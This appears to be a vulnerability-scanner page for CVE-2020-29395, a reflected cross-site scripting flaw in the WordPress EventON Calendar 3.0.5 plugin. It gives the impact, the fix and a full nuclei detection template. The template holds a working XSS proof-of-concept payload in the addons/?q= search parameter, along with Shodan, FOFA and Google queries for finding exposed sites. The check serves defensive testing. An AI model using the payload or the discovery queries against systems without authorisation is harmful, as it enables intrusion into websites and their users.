Wordpress EventON Calendar 3.0.5 - Cross-Site Scripting

mediumseverity

6.1CVSS score

12.9%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

Wordpress EventON Calendar 3.0.5 is vulnerable to cross-site scripting because it allows addons/?q= XSS via the search field.

Impact

Successful exploitation of this vulnerability could lead to the execution of arbitrary script code in the context of the affected website, potentially allowing an attacker to steal sensitive information or perform unauthorized actions.

Fix

Update to the latest version of the Wordpress EventON Calendar plugin (3.0.6) to mitigate this vulnerability.

How to confirm it

Send: GET /
Positive when: contains "/wp-content/plugins/eventON/"
Send: GET {{BaseURL}}/addons/?q=%3Csvg%2Fonload%3Dalert(1)%3E
Positive when: contains "<svg/onload=alert(1)>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2020-29395 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-29395

info:
  name: Wordpress EventON Calendar 3.0.5 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: Wordpress EventON Calendar 3.0.5 is vulnerable to cross-site scripting because it allows addons/?q= XSS via the search field.
  impact: |
    Successful exploitation of this vulnerability could lead to the execution of arbitrary script code in the context of the affected website, potentially allowing an attacker to steal sensitive information or perform unauthorized actions.
  remediation: |
    Update to the latest version of the Wordpress EventON Calendar plugin (3.0.6) to mitigate this vulnerability.
  reference:
    - https://github.com/mustgundogdu/Research/tree/main/EventON_PLUGIN_XSS
    - https://www.myeventon.com/news/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-29395
    - http://packetstormsecurity.com/files/160282/WordPress-EventON-Calendar-3.0.5-Cross-Site-Scripting.html
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-29395
    cwe-id: CWE-79
    epss-score: 0.12883
    epss-percentile: 0.96335
    cpe: cpe:2.3:a:myeventon:eventon:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: myeventon
    product: eventon
    framework: wordpress
    shodan-query:
      - "http.html:/wp-content/plugins/eventon/"
      - http.html:/wp-content/plugins/eventon-lite/
    fofa-query:
      - "wp-content/plugins/eventon/"
      - body=/wp-content/plugins/eventon/
      - body=/wp-content/plugins/eventon-lite/
    publicwww-query:
      - "/wp-content/plugins/eventon/"
      - /wp-content/plugins/eventon-lite/
    google-query: "inurl:\"/wp-content/plugins/eventon/\""
  tags: cve,cve2020,wordpress,xss,wp-plugin,packetstorm,myeventon,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/plugins/eventON/'

  - method: GET
    path:
      - '{{BaseURL}}/addons/?q=%3Csvg%2Fonload%3Dalert(1)%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<svg/onload=alert(1)>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from